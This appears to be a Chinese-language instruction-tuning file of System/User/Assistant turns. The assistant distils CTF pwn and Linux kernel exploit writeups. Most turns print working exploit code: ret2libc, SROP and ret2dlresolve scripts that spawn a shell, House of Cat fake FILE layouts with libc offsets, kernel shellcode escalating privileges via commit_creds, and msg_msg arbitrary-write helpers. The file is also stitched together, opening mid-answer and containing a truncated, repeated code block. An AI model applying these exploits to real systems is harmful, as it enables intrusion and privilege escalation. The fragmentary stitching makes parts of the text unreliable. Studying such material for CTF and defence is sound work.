资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 3.5 触发

前两次 `fix` 分别用于：

```text
1. UAF 改 largebin 元数据
2. UAF 伪造 FILE
```

第三次通过隐藏功能 `_fix` 写入 `fortune`：

```python
p.sendline(str(4))
p.sendline(b"74r0t#C@rd")
p.send(shellcode.ljust(0x200, b"\x90") + wide_data)
```

此时 `fixC == 0`，再选择菜单 `2`，程序会执行 `exit(0)`：

```python
p.sendline(str(2))
```

`exit` 会刷新 `_IO_list_all`，进入伪造 FILE 的 `_IO_wfile_jumps` 链，最终跳到 `fortune` 执行 shellcode。

IO-FILE/house of apple2/2024ylb futureheap/WP.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「启动部分」。
资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 启动部分

脚本支持本地、GDB、远程和指定 loader：

```python
python3 exp.py
python3 exp.py TEST
python3 exp.py GDB
python3 exp.py REMOTE HOST=x PORT=y
python3 exp.py LOADER=/path/to/ld-linux-x86-64.so.2
```

如果存在本地 glibc-all-in-one loader，会优先使用匹配 loader：

```python
KNOWN_LOADER = '/tools/binary/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/ld-linux-x86-64.so.2'
```

否则直接用 `LD_PRELOAD=./libc.so.6` 运行。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu2/ret2csu2.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu2/ret2csu2.c`

分类：stack

语言：c

环境/依赖线索：
- `#include <stdio.h>`
- `#include <stdlib.h>`
- `#include <unistd.h>`
- `#include <string.h>`
- `#include <sys/syscall.h>`
- `#include <sys/mman.h>`

函数/封装：
- `init`
- `main`
- `ohMyBackdoor`

利用主题关键词：
- io-file/fsop
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x100`

训练用代码片段：
```c
// gcc ret2csu2.c -fno-stack-protector -no-pie -z now -o pwn -g -masm=intel
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/mman.h>

char *hello1 = "Ret2csu is easy,isn't it?\n";
char *hello2 = "Also a fun function in this elf.Remember to check it!\n";

void init()
{
    setvbuf(stderr,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stdin,0,2,0);
}

void ohMyBackdoor(__int64_t a,__int64_t b,__int64_t c)
{
    mprotect((void *)2,3,3);
}

int main()
{
    init();
    char message[0xf0];
    __asm__
    (
        // syscall(SYS_write,STDOUT_FILENO,hello1,strlen(hello1));
        "mov rdi,1;"
        "mov rdx,26;"
        "mov rax,1;"
        "mov rsi,[hello1];"
        "syscall;"
        // syscall(SYS_write,STDOUT_FILENO,hello2,strlen(hello2));
        "mov rdi,1;"
        "mov rdx,54;"
        "mov rax,1;"
        "mov rsi,[hello2];"
        "syscall;"
        // syscall(SYS_read,STDIN_FILENO,message,0x100);
        "xor rdi,rdi;"
        "mov rdx,0x100;"
        "mov rax,0;"
        "lea rsi,[rbp-0xf0];"
        "syscall;"
    );
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Kernel/MINI-LCTF2022-kgadget/start.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Kernel/MINI-LCTF2022-kgadget/start.sh`

分类：kernel

语言：bash

利用主题关键词：
- seccomp/orw

训练用代码片段：
```bash
#!/bin/sh

qemu-system-x86_64 \
	-m 256M \
	-cpu kvm64,+smep,+smap \
	-smp cores=2,threads=2 \
	-kernel bzImage \
	-initrd ./rootfs.cpio \
	-nographic \
	-monitor /dev/null \
	-snapshot \
	-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
	-no-reboot
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「利用思路」。
资料来源：IO-FILE/house of cat/强网杯2022houseofcat/WP.md；主题：强网杯 2022 houseofcat WP；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 利用思路

glibc 2.35 没有 malloc hook，且 seccomp 限制下不能 getshell，所以用 House of Cat：

1. UAF 修改 largebin metadata。
2. largebin attack 覆盖 `stderr` 指针，让它指向堆上的 fake `_IO_FILE`。
3. 伪造 `_IO_FILE`、`_wide_data` 和 `_IO_wfile_jumps + 0x10`。
4. 再次 largebin attack 覆盖 top chunk size，触发 `__malloc_assert`。
5. glibc 报错路径会使用 `stderr`，从而走到 fake FILE 的 wide vtable 调用链。
6. fake wide vtable 中布置 `setcontext+61`，把栈迁移到堆上 ROP。
7. ROP 执行 ORW 读取 `flag`。

关键 libc offset：

```text
stderr           = libc_base + 0x21a860
setcontext       = libc_base + 0x53a30
read             = libc_base + 0x114980
write            = libc_base + 0x114a20
close            = libc_base + 0x115100
_IO_wfile_jumps  = libc_base + 0x2160c0
syscall; ret     = libc_base + 0x91396
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/tcache attack/fastbin_reverse_into_tcache/pwn.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/tcache attack/fastbin_reverse_into_tcache/pwn.c`

分类：heap

语言：c

环境/依赖线索：
- `#include<stdlib.h>`
- `#include <stdio.h>`
- `#include <unistd.h>`

函数/封装：
- `add_chunk`
- `delete_chunk`
- `edit_chunk`
- `get_num`
- `main`
- `menu`
- `show_chunk`

利用主题关键词：
- heap/tcache
- seccomp/orw

关键常量/偏移样例：
`0x100`

训练用代码片段：
```c
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「House of Cat 布局」。
资料来源：IO-FILE/house of cat/强网杯2022houseofcat/WP.md；主题：强网杯 2022 houseofcat WP；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## House of Cat 布局

fake `_IO_FILE` 放在堆上，以 `_IO_wfile_jumps + 0x10` 作为 vtable，并把 wide-data 相关字段指向可控区域：

```python
fake  = p64(0) * 4
fake += p64(0) + p64(0)
fake += p64(1) + p64(0)
fake += p64(heap_base + 0xc18 - 0x68)    # rdx for setcontext+61
fake += p64(setcontext + 61)             # controlled indirect call target
fake  = fake.ljust(0x78, b'\x00')
fake += p64(heap_base + 0x200)           # _lock
fake  = fake.ljust(0x90, b'\x00')
fake += p64(heap_base + 0xb30)           # _wide_data
fake  = fake.ljust(0xc8, b'\x00')
fake += p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x10)
fake += p64(0) * 6
fake += p64(heap_base + 0xb40)
```

`setcontext+61` 会根据伪造的上下文恢复寄存器和 `rsp`，最终把执行流转移到堆上 ROP。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2libc/LibcSearcher_64/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2libc/LibcSearcher_64/exp.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwn import *`

利用主题关键词：
- stack/rop

关键常量/偏移样例：
`0x4009a0`, `0x00000000004006b9`, `0x0000000000400aec`, `0x0000000000400c81`, `0x0000000000400c83`

训练用代码片段：
```python
from pwn import *

io=process("./[CISCN 2019东北]PWN2")
#io=remote("node5.anna.nssctf.cn",23824)
elf=ELF("./[CISCN 2019东北]PWN2")
context(log_level="debug",arch="amd64")

main=0x4009a0
rbx_rbp=0x0000000000400aec
rdi=0x0000000000400c83
rsi_r15=0x0000000000400c81
ret=0x00000000004006b9
off=0x58

payload=b'a'*off+p64(rdi)+p64(elf.got["puts"])+p64(elf.plt.puts)+p64(elf.sym["main"])
io.recvuntil("Input your choice!\n")
io.sendline(b"1")
io.recvuntil("Input your Plaintext to be encrypted\n")
io.sendline(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success("puts_addr：",hex(puts_addr))

libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
sh=libc_base+libc.dump("str_bin_sh")
sys=libc_base+libc.dump("system")
pay=b'a'*0x58+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
io.recvuntil(b"Input your choice!\n")
io.sendline(b"1")
io.recvuntil(b"Input your Plaintext to be encrypted\n")
io.sendline(pay)

io.interactive()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 根据 `Kernel/2024wdb` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。

[Assistant]
## 题目路径
`Kernel/2024wdb`

## Writeup 蒸馏
# wdb - Kernel Shellcode WP

## 1. 题目结构

附件里有两个虚拟机环境：

- `vir1/bzImage`：Linux 6.5.8，启动参数带 `kaslr quiet`。
- `vir2/bzImage`：Linux 6.6.56，启动参数带 `kaslr quiet pti=off`。
- 两个 rootfs 里的 `/main` 完全一致，`memory.ko` 逻辑一致但按不同内核版本编译。
- `server.py` 接收一段 base64 编码的 kernel shellcode，分别送进 vir1 和 vir2；vir1 输出作为 AES key，vir2 输出作为 AES-ECB 密文，最后由 `server.py` 解密得到 flag。

本地附件中的 `/flag` 是占位值：

```text
vir1/rootfs/flag = dummy_flag_key
vir2/rootfs/flag = dummy_flag_cipher
```

真实环境里 vir1 应该返回 16/24/32 字节 AES key，vir2 返回 base64 ciphertext。

## 2. 用户态入口 `/main`

`/main` 的主要流程如下：

```c
puts("Input ur b64_code: ");
len = read(0, code, 0x1000);
fd = open("/tmp/b64_code", O_CREAT | O_RDWR, 0666);
write(fd, code, len);
close(fd);

system("chmod 622 /tmp/b64_code && base64 -d /tmp/b64_code > /tmp/code");

fd_code = open("/tmp/code", O_RDONLY);
code_len = read(fd_code, code, 0x1000);
close(fd_code);

fd = open("/proc/kernel_shell", O_RDONLY);
read(fd, code, code_len);          // 触发内核模块执行 shellcode

fd_flag = open("/flag", O_RDONLY);
if (fd_flag < 0)
    puts("result: dummydummydummy");
else {
    read(fd_flag, flag, 0x100);
    printf("result: ");
    puts(flag);
}
```

`/etc/init.d/S99root` 会把 `/flag` 设为 `700`，然后用 uid 1000 执行 `/main`：

```sh
chmod 700 /flag
insmod /memory.ko
setsid cttyhack setuidgid 1000 /main
```

因此 shellcode 的目标就是在返回 `/main` 之前完成提权，让后续 `open("/flag")` 成功。

## 3. `memory.ko` 分析

模块初始化时创建可读的 proc 入口，并准备两个内核页：

```text
proc_create("kernel_shell", 0666, NULL, &proc_ops)
exec_page = __get_free_pages(...)
data_page = __get_free_pages(...)
stack = data_page + 0xf58
strcpy(exec_page, init_code)
lookup_address(exec_page, &level)
清除 exec_page PTE 的 NX bit
```

`init_code` 位于 `.data`，作用是清空通用寄存器：

```asm
xor rax, rax
xor rbx, rbx
xor rcx, rcx
xor rdx, rdx
xor rdi, rdi
xor rsi, rsi
xor r8,  r8
...
xor r15, r15
xor rbp, rbp
```

`/proc/kernel_shell` 的 read 回调逻辑：

1. 从当前 task 的内核栈/返回上下文中复制一段数据到模块自建的 `stack`。
2. 把用户传入的 shellcode 复制到 `exec_page + strlen(init_code)`。
3. 设置 `rsp = stack`。
4. `jmp exec_page`，先执行 `init_code`，再执行我们传入的 shellcode。

关键点：

- 题目启用了 SMEP/SMAP，但模块把 shellcode 复制到了内核页 `exec_page` 并清除了 NX，因此不需要跳回用户态执行代码。
- KASLR 开启，需要在 shellcode 内获取当前内核基址。
- 模块已经帮我们伪造/保存了一段返回用户态所需的内核上下文，shellcode 只要对齐栈后跳入 `swapgs_restore_regs_and_return_to_usermode` 即可回到 `/main`。

## 4. KASLR 与双内核适配

可利用固定映射地址 `0xfffffe0000000004` 读取一个内核 text 指针。实测它在两个内核中分别对应：

| 环境 | kernel text base 计算 | `entry_SYSCALL_64` | `commit_creds` | `init_cred` | `swapgs_restore_regs_and_return_to_usermode` |
| --- | ---: | ---: | ---: | ---: | ---: |
| vir1 / Linux 6.5.8 | `leak - 0x808e00` | `base + 0x800000` | `base + 0x0a2ec0` | `base + 0xe40320` | `base + 0x8015d0` |
| vir2 / Linux 6.6.56 | `leak - 0xa08e00` | `base + 0xa00080` | `base + 0x0b0fd0` | `base + 0x10405e0` | `base + 0xa01670` |

运行态用临时 initrd 读取 `/proc/kallsyms` 验证过偏移，例如：

```text
# vir1
ffffffff8d4a2ec0 T commit_creds
ffffffff8dc00000 T entry_SYSCALL_64
ffffffff8e240320 D init_cred
ffffffff8dc015d0 T swapgs_restore_regs_and_return_to_usermode

# vir2
ffffffffae4b0fd0 T commit_creds
ffffffffaee00080 T entry_SYSCALL_64
ffffffffaf4405e0 D init_cred
ffffffffaee01670 T swapgs_restore_regs_and_return_to_usermode
```

shellcode 先按 vir1 的偏移计算基址，再检查 `entry_SYSCALL_64` 的开头字节：

```asm
mov esi, dword ptr [base + entry_SYSCALL_64]
and esi, 0xffff
sub esi, 0xff3
jne kernel2
```

`entry_SYSCALL_64` 以 `f3 0f 1e fa`（`endbr64`）开头，低 16 bit 为 `0x0ff3`。如果用 vir1 偏移计算出的地址校验失败，就切到 vir2 偏移重新计算基址。

## 5. 提权与返回用户态

提权调用链：

```c
commit_creds(&init_cred);
```

直接在 shellcode 中设置：

```asm
rdi = base + init_cred
rsi = base + commit_creds
rdx = base + swapgs_restore_regs_and_return_to_usermode + skip_offset
```

两个内核返回 trampoline 的入口略有不同：

- vir1：`swapgs_restore_regs_and_return_to_usermode + 0x16`，落在 `mov rdi, rsp`。
- vir2：`swapgs_restore_regs_and_return_to_usermode + 0x31`，同样落在 `mov rdi, rsp`。

提权前需要调整模块伪造的栈：

```asm
add rsp, 0x80
mov rbp, qword ptr [rsp+0x18]
push 0
push 0
push rdx        ; commit_creds 返回后进入 swapgs trampoline
push rsi        ; ret 到 commit_creds
ret
```

由于 `rdi` 已经是 `init_cred`，`ret` 后先执行 `commit_creds(init_cred)`；`commit_creds` 返回时，下一项返回地址是 `swapgs` trampoline，从而恢复用户态上下文，回到 `/main` 继续打开 `/flag`。

## 6. Exploit

`exp.py` 中的 payload 如下，运行后输出 base64 shellcode：

```python
import base64
from pwn import *
context.arch = "amd64"

protect_addr = 0xfffffe0000000004

kbase_offset1 = 0x808e00
entry_SYSCALL_64_offset1 = 0x800000
swapgs_offset1 = 0x8015d0
init_cred_offset1 = 0xe40320
commit_creds_offset1 = 0xa2ec0

## Exploit 关键代码
### Kernel/2024wdb/exp.py
```python
import base64
from pwn import*
context.arch='amd64'

protect_addr=0xfffffe0000000004
kbase_offset1=0x808e00
kbase_offset2=0xa08e00
entry_SYSCALL_64_offset1=0x800000
entry_SYSCALL_64_offset2=0xa00080
swapgs_offset=0x008015d0
swapgs_offset2=0x00a01670
init_cred_offset=0x00e40320
init_cred_offset2=0x010405e0

commit_creds_offset=0x000a2ec0
commit_creds_offset2=0x000b0fd0
rop_offset=0xCB0787
shellcode_all=f"""

    mov rbp,rsp
    mov rax,{protect_addr}
    mov r15,qword ptr [rax]
    sub r15,{kbase_offset1} ;r15=kbase

    mov rax,{entry_SYSCALL_64_offset1}
    add rax,r15 ;rax=entry_SYSCALL_64
    mov esi, dword ptr [rax]
    and esi,0xffff
    sub esi,0xff3
    test esi,esi
    jne kernel2

kernel1:
    mov rdi,{init_cred_offset} ;rdi=init_cred
    add rdi,r15
    mov rsi,{commit_creds_offset} ;rsi=commit_creds
    add rsi,r15
    mov rdx,{swapgs_offset} ;rdx=swapgs
    add rdx,r15
    add rdx,0x16
    jmp ret2user
kernel2:
    add r15,{kbase_offset1}
    sub r15,{kbase_offset2}  ;r15=kbase
    mov rdi,{init_cred_offset2} ;rdi=init_cred
    add rdi,r15
    mov rsi,{commit_creds_offset2} ;rsi=commit_creds
    add rsi,r15
    mov rdx,{swapgs_offset2} ;rdx=swapgs
    add rdx,r15
    add rdx,0x31
    nop
ret2user:
    add rsp ,0x80
    mov rbp, qword ptr [rsp+0x18]
    push 0
    push 0
    push rdx
    push rsi
    ret
"""

sh_all=asm(shellcode_all)
print("base64_all:")
print(base64.b64encode(sh_all))
```

### Kernel/2024wdb/server.py
```python
#from Cryptodome.Cipher import AES
from Crypto.Cipher import AES
#from Cryptodome.Util.Padding import pad, unpad
from Crypto.Util.Padding import pad, unpad
import os
import subprocess
import base64

def readuntil(process, until_text):
	while True:
		output = readline(process)
		if any(substring in output for substring in until_text):
			break

	return output

def readline(process):
	return process.stdout.readline()

def process_qemu(code, start_script):
	process = subprocess.Popen([start_script], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, bufsize=0)

	readuntil(process, ["Input ur b64_code: \n", "Power down"])

	process.stdin.write(code+"\n")

	result = readuntil(process, ["result", "Power down"])

	if "result" in result:
		return result.split("result: ", 1)[1]
	else:
		return "dummydummydummy\n"

if __name__ == '__main__':
	print("Welcome to Generic Linux kernel shellcode Challenge")
	code = input("Input ur b64_code: \n")

	print("Virtual 1 Working......")

	os.chdir("./vir1")
	key = process_qemu(code, "./vir1_start.sh").replace('\n', '').encode("ascii")
	print("Virtual 1 Finished")

	print("Virtual 2 Working......")
	os.chdir("../vir2")
	cipher_b64 = process_qemu(code, "./vir2_start.sh").replace('\n', '').encode("ascii")
	print("Virtual 2 Finished")

	print("Calc ur result......")

	if cipher_b64.find(b"dummy")!=-1 or key.find(b"dummy")!=-1:
		print("Bad kernel shellcode")
	else:
		cipher_raw = base64.b64decode(cipher_b64)
		cipher = AES.new(key, AES.MODE_ECB)
		decrypted = cipher.decrypt(cipher_raw).rstrip(b'\x00').decode("ascii")

		print("Nice kernel shellcode")
		print(decrypted)
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「任意地址写」。
资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 任意地址写

`do_msgsnd()` 会通过 `load_msg()` 从用户态拷贝数据到内核。如果利用 userfaultfd 暂停一个线程，再由另一个线程篡改 `msg->next`，即可让后续拷贝落到指定地址，形成任意地址写。

常用模板如下：

```c
struct list_head {
    uint64_t next;
    uint64_t prev;
};

struct msg_msg {
    struct list_head m_list;
    uint64_t m_type;
    uint64_t m_ts;
    uint64_t next;
    uint64_t security;
};

struct msg_msgseg {
    uint64_t next;
};

struct msgbuf {
    long mtype;
    char mtext[0];
};

int getMsgQueue(void)
{
    return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}

int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}

int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    ((struct msgbuf*)msgp)->mtype = msgtyp;
    return msgsnd(msqid, msgp, msgsz, 0);
}

int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    return msgrcv(msqid, msgp, msgsz, msgtyp,
                  MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}

void buildMsg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev,
              uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security)
{
    msg->m_list.next = m_list_next;
    msg->m_list.prev = m_list_prev;
    msg->m_type = m_type;
    msg->m_ts = m_ts;
    msg->next = next;
    msg->security = security;
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/srop/vn-babypwn/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/srop/vn-babypwn/exp.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `dbg`

利用主题关键词：
- stack/rop

关键常量/偏移样例：
`0x84420`, `0x401040`, `0x404800`, `0x404f00`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('vn_pwn_babybabypwn_1')
io = process([elf.path])
libc = ELF('/buu/64/libc-2.23.so')
context(os=elf.os, arch=elf.arch, log_level='debug')
ru(b"gift:")
libc_base=u64(io.recvuntil(b'\x70')[-6:].ljust(8, b'\x00'))-0x84420
lg("libc base",libc_base)

bss=elf.bss
syscall = 0x401040
sh_address = 0x404800
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 59
frame.rsi = bss - 0x10
frame.rdx = 0
frame.rsp = bss - 0x40
frame.rip = syscall

pay = b"/bin/sh\x00"*6 + flat(0x404f00,pop_rdi,15,syscall,frame)

sl(pay)
ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「例题」。
资料来源：stack.md；主题：栈利用；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 例题

> 2023Newstar dlresolve

- exp

pwntools 中集成了 ret2dlresolve 利用工具。

```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io = process([elf.path])
context(os=elf.os, arch=elf.arch, log_level='debug')
context.terminal = ['cmd.exe', '/c', 'start', '""', 'wt.exe', 'wsl', '-e', 'bash', '-lc']

def payload():
    global sh

    bssHigh = 0x404500
    readAddr = 0x401192
    leaveRetAddr = 0x4011a9
    retAddr = 0x4011aa

    rop = ROP(elf)
    dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=["/bin/sh"])
    rop.read(0, dlresolve.data_addr)
    rop.ret2dlresolve(dlresolve)
    raw_rop = rop.chain()

    sl(b'0'*120 + p64(retAddr) + raw_rop)
    sl(dlresolve.payload)
    ia()

payload()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/花式栈/2024ylb-magicread/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/花式栈/2024ylb-magicread/exp.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `dbg`
- `get_sb`

利用主题关键词：
- seccomp/orw

关键常量/偏移样例：
`0x500`, `0x40063a`, `0x400675`, `0x400693`, `0x00000000004004c6`, `0x0000000000400723`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def get_sb():
    return libc.address + libc.sym['system'], libc.address + next(libc.search(b'/bin/sh\x00'))

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('./pwn')
io = process([elf.path])
#libc=ELF("./libc-2.23.so")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os=elf.os, arch=elf.arch, log_level='debug')

rdi=0x0000000000400723
ret=0x00000000004004c6
leave=0x400675
bss=elf.bss()+0x500
vuln=0x40063a

r()
pay1=b'a'*64+p64(bss+0x40)+p64(leave)
s(pay1)
pay1=b'a'*64+p64(bss+0x40+64)+p64(leave)
s(pay1)
pay2=p64(bss+0x50)+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(0x400693)
s(pay2)

leak=u64(r(6)+b'\x00'*2)
base=leak-libc.sym['puts']
print(hex(base))
sys=base+libc.sym['system']
sh=base+libc.search("/bin/sh\x00").__next__()
print("sh",hex(sh))
ru(b"just read!\n")
pay3=b'a'*64+p64(bss+0x90)+p64(leave)
s(pay3)
pay4=p64(0)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
s(pay4)

ia()
```


